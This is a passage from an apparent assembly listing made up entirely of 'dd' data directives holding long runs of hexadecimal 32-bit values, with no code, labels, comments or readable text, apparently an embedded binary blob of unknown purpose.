17B12E4h, 0AB0046E8h, 3E00CE75h dd 22FFBE70h, 7C477DA8h, 0C69E005Ch, 0EE7B53C2h, 2007269h dd 0B2D94E5Bh, 7783A7h, 8D3E6D50h, 6E60EE7Ah, 92063490h dd 0D5C828CCh, 97780061h, 3B723824h, 0DBF3F5C6h, 40640827h dd 3CD848h, 7A208527h, 0D94FE9BEh, 4933CE88h, 150000F7h dd 0E055B9DEh, 393B9073h, 9C8181F5h, 95BBBFB8h, 0D9867BFCh dd 182B8088h, 31240896h, 79C23372h, 3FA100CFh, 0E800A927h dd 24660CC2h, 0A52C5Eh, 0F892215Fh, 467DB7E6h, 9BC4D603h dd 0FA0130h, 0BBB52EA1h, 55CEA7B9h, 0BA41D43Ah, 40572754h dd 3A31B90h, 5DA670BBh, 0BD83B09h, 8306E876h, 3E566495h dd 9C793059h, 0A7E389F1h, 0E2F53307h, 5D4017E0h, 0EEB90963h dd 21AB146Fh, 1900C04Eh, 644D1DA0h, 0F40044F7h, 17E6A20Eh dd 1D36FD1h, 0DA5003F1h, 0FCAB63F9h, 140004C5h, 45FCC296h dd 65E5C32h, 0F9FFBCBBh, 64071806h, 0FCC55BB8h, 0F7F63F80h dd 0D431C015h, 1BFE65A7h, 7D007BF2h, 0B6CD8901h, 6C47F0h dd 0CC752416h, 0BB9665B4h, 0D8DA7900h, 9344BDBEh, 24640029h dd 0CCDFE343h, 14AD7D1Ch, 0FEFB9401h, 0FDFDDC5Bh, 49269880h dd 9937462Ah, 0DE985E00h, 728628E3h, 91ED0056h, 656E5329h dd 0A7E4676h, 7B578C01h, 0D3D63716h, 309CC080h, 50F2D7Fh dd 444210C0h, 0E0829BBEh, 0A1A000D4h, 0AEE1729h, 0BB3B9438h dd 0A44F00C5h, 99504E06h, 0DE4C0061h, 4D1AEDE6h, 0F8B8A53Ah dd 97C80705h, 980011DFh, 44020A96h, 1D62079Fh, 201BAE41h dd 5DBF4B6Fh, 77FCD200h, 734AFBFAh, 70A600CBh, 564D9ECFh dd 0E009460h, 477EA478h, 2C024A0h, 75FC17B0h, 815DB71Ch dd 0C5FFA1C3h, 0F735002Bh, 0B04025CDh, 0FB8B5A01h, 36D88EEBh dd 257E8h, 0C64E0335h, 0B3F722EFh, 0DF2BD400h, 4FCF7AA8h dd 72A189Eh, 4C4A18F9h, 20A9E700h, 18AE1285h, 3A361813h dd 0E9A5DAB1h, 15080163h, 2920004Ch, 522036ABh, 0E500C21Fh dd 4AFDDE07h, 3848D2Dh, 427F26Ah, 3002B146h, 0C19BE934h dd 7F06E07Dh, 980C091h, 0E48538AEh, 4C032E7Dh, 134DAC93h dd 0A337B1B2h, 624064D4h, 7C252959h, 86C3F7E0h, 0CC6D4507h dd 584642B7h, 0F380290h, 3D8FE5B5h, 0BE64B7E0h, 5401F0E8h dd 7B2412DEh, 744BBC5Eh, 0AAC004C8h, 684BA37h, 0B3DD71C7h dd 10A48D1h, 0ACEE6324h, 4FD8C80h, 17DC8A5h, 0F9903E0Ch dd 0FC1A73CEh, 3100C688h, 0D59841BEh, 71BDC51h, 0A5B21D61h dd 9C9350B4h, 24027F62h, 0EA942E07h, 0F1DAE17Ah, 301C6620h dd 9890F92Ch, 0C800452Fh, 3BE28A9h, 0D082B0h, 0EBC995B5h dd 3622E9B2h, 800A1F00h, 0FB769377h, 9DB00563h, 3EA5821Ch dd 0F1EEB304h, 32F083DBh, 189C6084h, 0C163E8C4h, 0E0FAD200h dd 6FFF6824h, 230B0030h, 3B12328Fh, 0C718608Ch, 0DC2962A7h dd 882080D9h, 0DD266100h, 9DFD63F1h, 34570083h, 0CE19BDB8h dd 410F9135h, 21AE7BC6h, 8E89DB1h, 3F78A2C4h, 5E00FB5Bh dd 623B4434h, 0F3006114h, 67DABD69h, 32A7A4h, 0B62A3504h dd 0C11F8AD7h, 888C4E03h, 0D8FB6F9Ah, 0F3AB8CDh, 0C753571Eh dd 4F6C3F20h, 260013A6h, 43E77DEFh, 455591h, 880187F7h dd 0C3C710C1h, 51583D03h, 0C88467A8h, 3413034h, 0D29371D0h dd 98B00287h, 7F00BE79h, 3E0AA85Dh, 0D6E483h, 0B9B8CA51h dd 8CDEEFC1h, 0BEE802E4h, 961F8500h, 0D6F83744h, 0F30800A0h dd 259D709Fh, 0B900034Bh, 0E60F491Bh, 3E7C5Eh, 0FF740A54h dd 288F70CEh, 6719F405h, 9EF827B9h, 0DED2C500h, 0BA3A07C8h dd 0B3550D06h, 384AC40h, 9A83DAFEh, 32E165A3h, 43DBEC4Ch dd 8074E603h, 0B812762Ah, 1EE5D70h, 0B8B0627Bh, 301352F9h dd 1F48DFFBh, 0B5E60008h dd 0FB535B66h, 0C935382Fh, 4C5F3780h, 0AF11510Dh, 6F8B9EFh dd 71F903EEh, 2AA90051h, 0B6D85768h, 800F05B2h, 2A14E452h dd 8039DA93h, 0BEB93461h, 0CE6EA8h, 0E6728B49h, 4158147h dd 0C6B8CB05h, 5780A464h, 0CA58EFh, 8D627322h, 501054C7h dd 2B4D449h, 0F8FBC464h, 9BC74387h, 7D6871E5h, 0A88A0084h dd 6C88D029h, 0E70233B2h, 0BD3C5A21h, 0EF2CC080h, 0ED0A00FBh dd 29DDB6D9h, 0C01F8E6Dh, 908E6B55h, 7CD1652Fh, 57EB4280h dd 92C6000Ch, 5E2218E7h, 0F1008973h, 7C8F5F7Dh, 0E56ED52h dd 66EB33A5h, 2DF32A0h, 4D24E03Dh, 3228826Ah, 5E73BD07h dd 0AA231B4Bh, 28C000A6h, 8FC8F9FBh, 1900E0FDh, 0C112C016h dd 63A3D5h, 0DA381546h, 54AC61B6h, 0A0FC3F5Eh, 0C0E4A87Fh dd 4D907Fh, 0B8443553h, 22207645h, 0F14C9D00h, 0B6A89296h dd 0FDA11DDAh, 5BE780ACh, 7759C6F8h, 0FC75A0A8h, 1BDD7000h dd 816CBFE9h, 8FA515C0h, 4100AC6Ah, 1160FCC8h, 700DCE1h dd 0E92DD705h, 0A83DCCh, 0FAD8BE80h, 9B8E8A4h, 0CC03607h dd 17174965h, 0DE3C99F0h, 0B07994h, 21B68422h, 57760D0h dd 601B372h, 1566ADA6h, 0C447E498h, 5BB241C0h, 119A004Ch dd 8A65AC7Eh, 0DA0046A5h, 3C2682DFh, 1500A81h, 17BF833Fh dd 2019FD39h, 220EDF58h, 0E1499D96h, 0B25E2F31h, 7BCBED8h dd 0BF27A736h, 8B17B0FDh, 71C33759h, 0F5239244h, 9C5BE447h dd 3ACE2Eh, 7F510488h, 0D71300FDh, 0F11F4E7Bh, 5C009A7Ah dd 0A82B4323h, 0F6D376h, 9C1528AAh, 0F4498DBFh, 43052000h dd 4BDB6E47h, 0B86A1404h, 387DCC89h, 0DC12BA96h, 4F540054h dd 6FDB4A8Eh, 63CA9A02h, 0C06C9319h, 4CA622h, 0E966F6D7h dd 0CF0CF17Dh, 6ADBB1Eh, 0D404EF53h, 0B88E7CA7h, 807E047Eh dd 80038F9Fh, 0A3E55ED8h, 1D3EB800h, 529C24D0h, 0ABFE0048h dd 0C877A659h, 4515639Ah, 71A80953h, 73311F40h, 0A4BD0302h dd 0F5C85CF0h, 0FC5E3680h, 0C34F312h, 8348F830h, 0BC2C1C05h dd 62B11E90h, 0EC8CC00h, 4E3B1AEAh, 21110095h, 4C836EE9h dd 0CA00C5C3h, 0A95CC4ECh, 61705Bh, 46410F71h, 0E9E26C97h dd 0F9CC0850h, 5501B59h, 3CBCB34Eh, 5053C681h, 1697F040h dd 252000E2h, 8BD32F10h, 0DA0079E0h, 8580EC8Ah, 0EE7B6CDEh dd 2590A056h, 0AF910017h, 2EBAF2ACh, 600783ADh, 0CD625EEBh dd 0C03F64B2h, 68CA41h, 0F54DD74Ah, 780EB6DBh, 0CFB34505h dd 0E8656D3Bh, 0BFBE3840h, 1E7C27D7h, 496226D8h, 0B818AB41h dd 0C283A52Eh, 8B5865FAh, 57017B6Eh, 0D0639548h, 0B8058838h dd 3AF28185h, 87C62880h, 92507C98h, 1AEE07DCh, 70AD0EDFh dd 0EAB3522Eh, 0A6A33E02h, 82CE7B43h, 60AF9BFCh, 2A3216h dd 0C63CC584h, 2CD7A9EDh, 5659B800h, 82E346C1h, 34F92A54h dd 99CB00E4h, 1AC18ABh, 6975451Bh, 50CC5138h, 0F8138E84h dd 80603CC2h, 0B72BA9h, 0B1144247h, 413CECA7h, 0FC5B860Eh dd 0D0D580FEh, 7039054Ch, 570A0051h, 179E78AAh, 26003392h dd 0D5C02910h, 0B67FEAh, 0A7EB4E7Ah, 2B2D0EF7h, 211F30C1h dd 0C0209C09h, 0A68400DCh, 0BF2C998Ch, 7900D772h, 3BA12794h dd 0D2F289h, 4A193934h, 0C61D0A5Ch, 5E35D8FBh, 9F1A1007h dd 0DF074245h, 3F9D33E0h, 1D70099Ah, 0CC04E38Bh, 84622126h dd 0FC3224ECh, 3A7C901Dh, 1A265C8Ah, 8131091Ch, 0F0FAAC27h dd 941234FCh, 0C3F3CE00h, 49C05290h, 0E7D600ABh, 83016769h dd 590051E9h, 0F50214BCh, 1C2BF215h, 908646C3h, 0DBDE1C2Dh dd 0D1296380h, 0EB5CFB6h, 94E2AA06h, 1C8093E9h, 57FD0BE5h dd 8095183Dh, 81F7031Eh, 0D929FCh, 0D052F1E0h, 0A2DF010Dh dd 5EFBF01Ch, 3B3F8940h, 1FC5CCE4h, 971D6C11h, 0FA5909F2h dd 2C129CA0h, 0B9005864h, 0C0DB972Dh, 244FED50h, 4E78D070h dd 0D7D9DD84h, 76407F00h, 0F17215B6h, 30F65040h, 5D214A69h dd 1824FF6Bh, 0F802D05Fh, 8053A37Fh, 6E50B1ACh, 4FD12CF4h dd 780C80BCh, 0E172AFC3h, 6F00A7F0h, 3CF9241Eh, 0D7DA36h dd 2583EC87h, 80F688B0h, 62A02E00h, 244E23F4h, 0B4B0060h dd 8DEB1740h, 3400DEE2h, 0E67725ABh, 3C10801Bh, 8B80B1CCh dd 1809C67Ah, 0F017C26Ah, 0B703DE29h, 0D80E6BAFh, 27234D9h dd 0AA3C7994h, 50E04E64h, 0F00AE33h, 99ED5651h, 2C8D21h dd 13473020h, 5D1053F6h, 0CE504E00h, 0F054895Ch, 8FD307FAh dd 403BF574h, 0C3D9BC93h, 92C9551Fh, 2018802h, 1CB45044h dd 5548A873h, 92289487h, 6BD600DEh, 0EDAB6693h, 0FD3C4B8Fh dd 6D7713F8h, 8BF96041h, 7C70D9A6h, 0AC2B54A2h, 7E453C28h dd 6A9DB13Fh, 8898E660h, 1E9FB4E6h, 5E71B201h, 53CC7CCCh dd 43C5247Fh, 8F0A078Ch, 3D0BB104h, 2D2C031h, 8B9BFF0Fh dd 0A84C4536h, 50BA86h, 6A0EB301h, 0B04312B7h, 1E312C09h dd 20204C63h, 84021927h, 25811A20h, 10C8C69Dh, 472399B5h dd 0F11D0080h, 0AE5495ADh, 1FC5F421h, 893FCD92h, 0A093536Bh dd 56C7F800h, 0F71D9850h, 0EB2209D7h, 7C98A75Fh, 0BC5DAE76h dd 9532801Ch, 2228F2h, 3A0780EFh, 29B02BFEh, 5121DFAh dd 8C8773A6h, 500FC251h, 5FE9970h, 171D15F9h, 394002Dh dd 0ABB8EC40h, 6B0034B9h, 3D792543h, 0A3F10070h, 13F9C6A0h dd 0D8B25B22h, 0F845012Ah, 0D4F5CA09h, 0B77C014Eh, 85E43519h dd 0C8EA1CB4h, 0CCA98044h, 0A23A1F37h, 96988353h, 0B009604Dh dd 37151067h, 95259049h, 0E0208812h, 4BCDEEB1h, 7A00FF73h dd 6EFB9BF1h, 480639Fh, 9927E623h, 5CDC809Dh, 922E098Fh dd 850364B6h, 0D72356AFh, 0E71E13B3h, 465F73F0h, 6B9F265Dh dd 2C5E1652h, 0FF769504h, 0F900907Bh, 259DECDEh, 4B0C26h dd 3CE46567h, 0B38CC513h, 3DD5113Bh, 847E3F1Dh, 0EB7F23FEh dd 2C856880h, 0F3E20007h, 0DCA3C7D5h, 370188E0h, 0C20649B3h dd 63086EEh, 56F1005Ch, 16D6A747h, 64EBE1B1h, 0D33055E0h dd 0C35E3422h, 74C40111h, 49F36207h, 0F744F4D1h, 6EDB9E04h dd 0F7C05064h, 0E0E745E2h, 2499491Eh, 151817h, 4147A76Ah dd 43071CADh, 0B8A1FC40h, 1F0CA8FCh, 643669E4h, 6AB0008Dh dd 91BFA6FFh, 28DBE524h, 0DC256305h, 0CD1AA800h, 2CA7BDC1h dd 89FCC6EBh, 4440160Ah, 84924454h, 38BDC14h, 82B418C8h dd 0F4C49948h, 9855h, 8D8A96C0h, 3952F409h, 0C59A0D06h dd 205DA7h, 25448976h, 17145135h, 0FA018679h, 0F1125E42h dd 0C0F69E06h, 0E73E28h, 7F0DA07Eh, 6976FAEFh, 0E8DFA500h dd 0DAFED9C9h, 41F40F9Ch, 718183DEh, 20BA6DD7h, 0A3001333h dd 0F24279E1h, 0FA26FCh, 2417853Ah, 0D0C68022h, 32F4E300h dd 0CC07881Bh, 0BE4503BDh, 0CA99E168h, 0EA0F34A8h, 4D2D6000h dd 9A2EF324h, 0F42498B3h, 0E1C7F9Eh, 575189ADh, 4D94B1E0h dd 0DA003569h, 13EB48F7h, 1621A0h, 247912D4h, 25197ECBh dd 0F51E8E1Ch, 448141C0h, 1DEC0E7Ch, 644EB6h, 598FFCA5h dd 476448E0h, 29C02420h, 5CFF45C9h, 790E303Eh, 51208DE8h dd 9B443C81h, 0B7771600h, 3A6953Fh, 0E8BCFABBh, 0BF6C1C85h dd 0C28844DBh, 2B62C07Ah, 0F200FC8Eh, 81AFE216h, 1D0DF187h dd 87A3ECE5h, 50E1E805h, 0F3264952h, 0B2176A00h, 6D8E489Ah dd 40B70084h, 925209E9h, 4F003076h, 3C6B69B4h, 1D5CF1E2h dd 0C5A16C75h, 0C18535FEh, 0D084F6AAh, 520F3A1Ch, 5D0BC944h dd 0CD25F4C0h, 75629h dd 6D03B387h, 139B3A73h, 0C4A2D300h, 0B21B5D80h, 5E980032h dd 6382BBEEh, 2700A09Ch, 5DAC4EAEh, 66DF52h, 0D8F2E078h dd 5076D6B1h, 3E83BE00h, 2242099Ah, 0A2F61362h, 0B34B0470h dd 0C038C073h, 66017CE6h, 531994B0h, 0E9C0FD49h, 67833FEDh dd 0E1C64C03h, 8D2798Ch, 26006058h, 5843EC3Ch, 79F90A9Bh dd 98EC69h, 0C33DE18Ch, 7AB41AD9h, 0BB2BAF00h, 4CE49195h dd 9FB801C4h, 0A24D4777h, 1FFD839h, 4056C801h, 67DAB5AAh dd 0C4CCF8D5h, 12E47B18h, 0C0726FBEh, 0B0A1E148h, 0D71A3A00h dd 0C2DED20Ah, 0F91D00D8h, 5417F034h, 0E200833Fh, 0C709550Bh dd 5895497Fh, 2723704h, 4723F5FBh, 0B0C8C2CBh, 6800147Fh dd 0B1A1678Eh, 4EACC4h, 980CAAD8h, 495E2960h, 536D0CC4h dd 8D8700EBh, 323C0DBBh, 18CADA00h, 0F7D64DA7h, 3DF43C04h dd 0D5359300h, 0A8B2C4DEh, 0CC4C8304h, 0FE80F668h, 2628C8Ah dd 41F042C5h, 18605CB1h, 0B8E0CA65h, 5094D13Ch, 60B08780h dd 0A8E6B900h, 44C65C88h, 9ED20248h, 0F9FA5947h, 9060306Ah dd 0DD001F3Ch, 85BE8180h, 83C892h, 8EBA4FD0h, 49476169h dd 90C5D614h, 608601B4h, 93DA519Ah, 0BFF0FCh, 873DEB2Eh dd 5F1D46A9h, 0D70048F6h, 0A3DEA758h, 9E98361h, 0BD8ECF0Dh dd 0E5860D80h, 620074A6h, 0E7EF8D93h, 0B0CDB802h, 3A6D003Fh dd 0A989A096h, 98A04CB2h, 0B0003FFh, 5E9C2402h, 1F63322h dd 0D39F1A95h, 0F0997855h, 49007036h, 0DE3EFCA6h, 50F1Fh dd 0E872B2C1h, 955978E5h, 4F2BD000h, 1C66325h, 0FC540416h dd 810F49FEh, 642D792Ch, 4D0F59A0h, 0A1FBD5h, 4C0827B2h dd 0BD0B01DCh, 109AEA49h, 0CA746018h, 14424600h, 0B81348F8h dd 87CC007Bh, 755FD358h, 0BA4DF2E5h, 0C2D400E8h, 300407AFh dd 0C9D103A2h, 740C758Bh, 400987B0h, 12D0CA50h, 0C32EB2EEh dd 1980282Eh, 15BEFF5Bh, 0F0C8071Ah, 0D07CDD61h, 0E2500DA5h dd 1D79B812h, 2DFE4404h, 16274890h, 218E1DD9h, 78B2063Eh dd 0EBF1183Ah, 0E350D1E0h, 182F2428h, 6BFB5909h, 38C8009Ch dd 0DEB0C1h, 0D28DFE0Eh, 3B9AE299h, 3107F57Eh, 6379A2AAh dd 5985E650h, 0E1CA0EEh, 18D0A26h, 1E2CD875h, 50D03905h dd 37FA92h, 1BA73920h, 1A94D95Dh, 0E6201872h, 31C0617h dd 0B82446F8h, 861F8E17h, 0D6539301h, 3C303574h, 79603F8Ch dd 230E97DCh, 7D80CFB1h, 0B38220CAh, 0B9744801h, 4DEF4358h dd 3117980h, 0E6774BF7h, 0C217FE77h, 0BD00C063h, 0BAC5D5C7h dd 93010372h, 8C1B3F44h, 0A0640AC0h, 6B1E12E2h, 2DDA26h dd 901B7294h, 293831B5h, 68038FB0h, 0B18203E0h, 88B023B7h dd 60FA962Bh, 946019DBh, 4D005AC5h, 7FC47743h, 4B7954h dd 2DA36997h, 0E42832A9h, 2C02548h, 44E5A0C4h, 0F0728Ch dd 83669E6Dh, 45C2CD3Ah, 0ABBBBA00h, 59B79B15h, 6F5407F9h dd 0ACEE171Eh, 4858A570h, 723F0019h, 1D694307h, 0EC267268h dd 33193C62h, 256ACF00h, 9302985Dh, 6DBB6B0Eh, 0FBBE2060h dd 0F89EA935h, 193C60ABh, 3F259BDh, 0A453EB2Ch, 19AD1003h dd 281EE8B0h, 0B79700B3h, 15E29145h, 0F701DD6Dh, 0E99BC0F6h dd 0BFDC8886h, 7F420175h, 0E07B1A81h, 0CA08988Eh, 0B29721h dd 0A8AA1275h, 0D849CC95h, 0D7773B00h, 0D9D26F25h, 1F7F058Ah dd 8091BEC7h, 1AA3A0EFh, 4C585Ch, 7F7A7D63h, 6C2121Bh dd 0EFC67BC0h, 0E9004035h, 16AD55E6h, 33BD6A3h, 4AEBBC2h dd 210519C3h, 5A17BDF5h, 1D4F0680h, 31C000BAh, 23ED797Fh dd 6E18E707h, 7EA8BF6Bh, 7DBB0072h, 0EDA9C201h, 20DA04DFh dd 8B102448h, 0CF45A300h, 6E07E649h, 0C57487F2h, 4359A1CCh dd 16D6029Dh, 315EA3E5h, 2C1212h, 0B1C18B6Fh, 3C5EA400h dd 35A2796Ch, 605460CEh, 0FFA8BF8Eh, 0DFF71000h, 692D6F22h dd 11323078h, 7AA7F270h, 0BD9040E1h, 13004C3Ah, 0C32905E2h dd 1443092h, 753D5A42h, 704F57EBh, 0CB006C9Bh, 70874664h dd 6DE0B33h, 56AF125Ch, 0F41E7642h, 0B3407393h, 5B0C6B0Ah dd 1D06B89Dh, 0C703B7B4h, 542C97h, 9539FD2Eh, 9D9C223Ch dd 8E83D219h, 88E580ADh, 2E16E27Bh, 1DDEEC6Ch, 151C0EAFh dd 595731E0h, 0B27C5274h, 555F7505h, 6BC63058h, 8496C19h dd 6FAA618h, 88BAF703h, 539F3Ch, 30528731h, 0E7D608EFh dd 46A5000h, 0B0DC0E14h, 0D4F53E48h, 0B7176481h, 8F33B188h dd 60B88351h, 0EBEFEEC7h, 4554001Bh, 295D02F7h, 0F2EE5E11h dd 555CBB00h, 91611459h, 4D1F06A2h, 90D4FA8h, 34A98F61h dd 0A1DF9779h, 7ED85585h, 68546086h, 0E4C1265Eh, 980BAF00h dd 0A7D21E64h, 0B3BF01DDh, 9689BA4Ch, 86B9ED59h, 5B4B5231h dd 0D67905F1h, 2E22B26Dh, 28291048h, 5C540C0h, 0F5069823h dd 77866F7Eh, 9C5D5560h, 9C11746h, 728739DDh, 5E848A00h dd 660016DBh, 0D60624D7h, 2BFF7Ah, 0BC6448B7h, 85A74E94h dd 0DA9CC67h, 790792B0h, 0F3B600CBh, 95A217D5h, 83E8225Ah dd 4C90BE00h, 7404AF38h, 703750CCh, 3DB507E4h, 7007D36Eh dd 0C40283B0h, 8F7E253Ah, 0A984D811h, 0E6042136h, 0EB3065FCh dd 76C237EBh, 32E7C040h, 7E301F56h, 7F74105Eh, 0D599002Dh dd 0BAAEDAD0h, 0AF748BA9h, 49A069h, 1CE69A04h, 0E39B0076h dd 85F809F3h, 27549C8Eh, 9300488Ch, 728D3C7h, 2ADC090h dd 53FF60E4h, 0D4A0B87Eh, 766F7DC5h, 7F00C3F6h, 0A85A970Dh dd 2105C8h, 3FF52919h, 3689EFCEh, 8A37590Eh, 43758651h dd 4C0D041h, 2DEA8BFh, 0A23E7B83h, 0E4405BF4h, 0E804D77h dd 0F608008Fh, 1F9EE137h, 8892E59Ch, 68D46501h, 0CA5C1864h dd 113FCDCh, 0A07C1FC5h, 32F3ED85h, 64D0024h, 0C5C701F0h dd 0F8D80020h, 0A2693D84h, 8839A846h, 4BD180BAh, 0D83243A4h dd 18689A9Fh, 0A9400DA7h, 807388F5h, 0A0CB0103h, 126998Bh dd 0E3D3AE89h, 307828CAh, 0BC1E749Dh, 8C52C51h, 0C858FC6h dd 702CD212h, 3CFE89Dh, 0D00580BEh, 0EB809833h, 490F6CE2h dd 0C6AB483Ch, 3A805AC8h, 18BA1934h, 361FC080h, 3C9E08CAh dd 7DD11401h, 8B3F4989h, 98580FD1h, 88F71FECh, 80F0647Dh dd 23879179h, 0AA3D41EFh, 749A134h, 27794658h, 2F974025h dd 0B5B04EB4h, 312D7B02h, 9017B3EBh, 78F37710h, 5C49860h dd 0F6598006h, 0BF90886Bh, 0C7A2C84h, 0DB758C04h, 302ECE89h dd 8800BAA4h, 0A832A305h, 0C0231C8Dh, 0DD097EDCh, 0E083FB44h dd 0A810A956h, 1E874F04h, 0E6694C51h, 0B234AB0Ah, 0C78F94CAh dd 94D18065h, 0C650B382h, 0D189D6C0h, 0BC8AD226h, 0E0D7530Ah dd 6A3A5841h, 808CB9A0h, 0B8D6A270h, 6F4C4400h, 40B80C24h dd 0A1180760h, 0CF51004Fh, 5C0EA221h, 1600F7D4h, 0A8103858h dd 0B0809Fh, 3729ABCEh, 81B1E559h, 2FE0A9C7h, 0DA91A01Eh dd 14548Dh, 0FA944A25h, 20817709h, 6F06F274h, 0B1415928h dd 355F03A1h, 7C9AC5B4h, 0D7042998h, 5DA0E1Fh, 0AC8A5931h dd 0C648F4h, 4BDECD08h, 0F4AEA7D6h, 0AA2E7A00h, 0D828B862h dd 0C23E734h, 0D9DF7201h, 6441EC87h, 0FA7351ACh, 26F48802h dd 92485446h, 0E6C821C0h, 94404EB5h, 12E166AAh, 4091F3F7h dd 17F02A9Ch, 637C100Dh, 0F48940C6h, 0C0385430h, 0B13B60B1h dd 0BEC5527Ah, 0C8440300h, 0F1AD75C1h, 3A720046h, 6FBD0EF5h dd 0B0585705h, 0EDD2254h, 0A6D5A2F0h, 5824241h, 78DCC825h dd 0DF9F2700h, 0D389370Fh dd 0CAA5057Bh, 53047D7Ah, 0C18A0CA0h, 0B4024796h, 0CA4C6B4Fh dd 7A104086h, 34DC0381h, 98829B74h, 0F4A015F0h, 8DEC1618h dd 0CF1A79h, 0A54C6C44h, 450997F3h, 0B49F0615h, 0B6A786F4h dd 415F0031h, 426F7615h, 0FE2408D2h, 102CCC22h, 0E2801011h dd 0C2D0D69Ah, 0FB4A0087h, 95901F9Ah, 0EEFABB00h, 76E6F201h dd 161A0148h, 7FAAF4A3h, 4A518053h, 0FB83295Ah, 0EDC61E78h dd 0F66A4091h, 32D53319h, 1C47E802h, 0A1F4DCB1h, 77B884C4h dd 4A7C834h, 8765F6A6h, 20C53Ch, 284ED7F4h, 0C800B711h dd 3E42E679h, 0A1228D54h, 3C1087CCh, 17009C21h, 1E94E889h dd 61834B0Ah, 0F559A053h, 0B0298CBBh, 73E77984h, 0AC9007Ah dd 0FF4C1A07h, 40023451h, 1C446EA1h, 508460B8h, 555B40D6h dd 0C8239h, 8B164FF4h, 0BAC2F209h, 5B6248C8h, 4810F325h dd 0B708969Ah, 62AA351Fh, 51042985h, 0ED0EF580h, 0F1A103F5h dd 0F6B255D8h, 2758690Ah, 811158DAh, 0D2A6F300h, 22F8ABDCh dd 2AD67700h, 99C33B96h, 692048Ch, 0C19B6446h, 432CF524h dd 0A40D20h, 2DCEA82Fh, 265B0016h, 0A71C3D81h, 7328902Ch dd 0E030BCB0h, 0A880C19Eh, 7B3D053Ah, 20D332E8h, 2F886DD0h dd 0BAA2CF38h, 0D418500Dh, 9F1C49FAh, 7BC1C399h, 549CB50Ch dd 0ED5834h, 6987331Dh, 0AA01F87Fh, 0ADCDD01h, 0FFD3A615h dd 0D2F5E180h, 8DD496E7h, 0F12B7A01h, 3A0AB07Bh, 599E218Ch dd 0A0006C51h, 1ED1BA89h, 0FCCF8Bh, 6B0EACEFh, 389CEB95h dd 0A15929C0h, 0EA12C7F8h, 1309005Bh, 57ABD88Eh, 49E7990Eh dd 0F8EDE08Ch, 88B91F0Eh, 0E4174ACBh, 0F4F63B40h, 9BCB0A0h dd 49095851h, 0D99D7420h, 5471625Ah, 88846B12h, 0D5F24800h dd 29B71C0h, 0BDA7F57Eh, 0C4C0E034h, 4C240A9Ah, 2B80003Dh dd 406B4379h, 38236053h, 163B0EEh, 20313C30h, 0C1706184h dd 89394949h, 62BC60CBh, 6F2999ECh, 23D18E1h, 0DFCAAA37h dd 8D7AC1B6h, 0F97DC080h, 0AED6D4F6h, 0A3887007h, 0A6D1667Bh dd 9E40430Bh, 26980DB1h, 0D48CBBh, 585F7065h, 7600D92Dh dd 3581ACE9h, 1605A7FEh, 0F708D6h, 2C6B42ECh, 0B8C16CA1h dd 957F94BBh, 20849C52h, 0E3F8BE3h, 74119267h, 910EBEF4h dd 8C755224h, 0AC9C556Ch, 0DCEF4C54h, 0E43A9CC0h, 1A009669h dd 9AAD06F9h, 0D8FCC4h, 4C2932DCh, 0B32244C9h, 0DAE32B11h dd 6E585205h, 0F5848303h, 8AC436B8h, 0A8266A00h, 6F0578FDh dd 58035025h, 22BE0089h, 2A4F87FCh, 9C397604h, 2244C8A4h dd 91EF00EBh, 0DDA5D8F2h, 0EA0034E0h, 0A24F1E81h, 0CEDE2D2h dd 24DEB774h, 7624A8B8h, 0F000EE42h, 8EF81416h, 0C175A1h dd 0A5FD9BEh, 64BA4F96h, 6BF3CF13h, 0F19B5C80h, 0A7D30055h dd 0C101087Fh, 7009FE1h, 6A105A2Dh, 50B83F41h, 7026CF15h dd 0CCFD001Fh, 9FB6B465h, 9412410Eh, 0D420F18Fh, 0EFEC667h dd 9D3F915Fh, 0DEB6AE80h, 6B0066B5h, 0A47E5714h, 95665E9h dd 7C5AB288h, 0BCF53CE8h, 0B3A05207h, 171058AEh, 0CE3DAE2h dd 83B88788h, 8A547561h, 0B300AFB8h, 0EF448F91h, 586708Dh dd 8275D945h, 0E368C142h, 0FF1660D1h, 8BF1000h, 349BA2Ch dd 3D6D7864h, 71805115h, 56353B4Ah, 0C8F4908Ah, 2CF47000h dd 12977B3Fh, 2BAD00BFh, 8088080Dh, 860ED519h, 2C3F2D50h dd 60754861h, 888F208Bh, 6960269Eh, 2A633E50h, 72C901Bh dd 0E3CDBF55h, 6A2BC138h, 6BC630C0h, 0D9A838C0h, 63D05F9h dd 566F6D5Eh, 0AE600836h, 0F8471559h, 0F7E600D1h, 892BB5D0h dd 5052FC6h, 8325309h, 82E8E406h, 0DA60C1C9h, 967C95BEh dd 9D073C10h, 0D0B0621Ch, 97ED14h, 0B38B4593h, 9ABD5409h dd 690164F6h, 6D6C4C7h, 9CF0E7A2h, 0B245182Fh, 0A0F61868h dd 9795590Eh, 8470802Dh, 1F8FA34Eh, 587CBEh, 5FAC52E6h dd 0D9F08B68h, 70296900h, 0C76C8E43h, 0AF1601F6h, 546B62C6h dd 5FCFFFDCh, 1C774E9Fh, 32847E81h, 6A6880A9h, 8B2BC319h dd 0B4EEC0h, 0C6A293B3h, 5AD26905h, 9F187960h, 4EF8859h dd 82E0D48Bh, 0CC188063h, 7A0CA68Ch, 2872B3CAh, 6B10766h dd 90D7866Bh, 0C1A768F2h, 2A334BF8h, 426A9A8Bh, 50004E0h dd 3FB537F8h, 530CE052h, 0D9C09CACh, 45CF0025h, 0A7B2ECCAh dd 0A9007D1Fh, 0E907CDB7h, 1D87A3C3h, 0B3D0334Eh, 68E2F730h dd 0DDF11340h, 9330767Dh, 0E87D682Ah, 14B4FCADh, 28CBACD3h dd 0D991E50Dh, 0B68F0719h, 531F99A6h, 0D46AEB2Fh, 90A5AE0Ah dd 3A606092h, 1E757ACh, 46D32526h, 80B104CAh, 0FAE99F58h dd 0A0D48A7Bh, 0EB1790h, 0C569956Eh, 58AC32CDh, 5579AF61h dd 0A3C9F641h, 526B7C51h, 0A085844Ch, 30E5D63Ch, 0CB19E33Ch dd 0F1283E07h, 0A37C84AEh, 2B411660h, 286935E7h, 1048A0DAh dd 0E0859809h, 0C04A04DBh, 0F3AC7849h, 38C0B3CEh, 0BBD424D9h dd 0A3C10E6Ah, 2AA5B96Dh, 0BA540798h, 18AC52C7h, 52B4A8A0h dd 0F4F3AD4Eh, 0AF5043D2h, 3230B850h, 0E5CA39E7h, 0AE07B25h dd 6AFDF062h, 154182CCh, 8CA08016h, 53845114h, 36C38B02h dd 0A3690BCCh, 0C16B5284h, 0DCE4BEA2h, 258C0657h, 10F87844h dd 2943BC1Eh, 928448h, 0CFCBBAF7h, 0D903E83Fh, 15685840h dd 8169FE26h, 0C187C5DCh, 0BEAC3B7Dh, 0E5AE9C87h, 78A058D5h dd 28120797h, 40C425h, 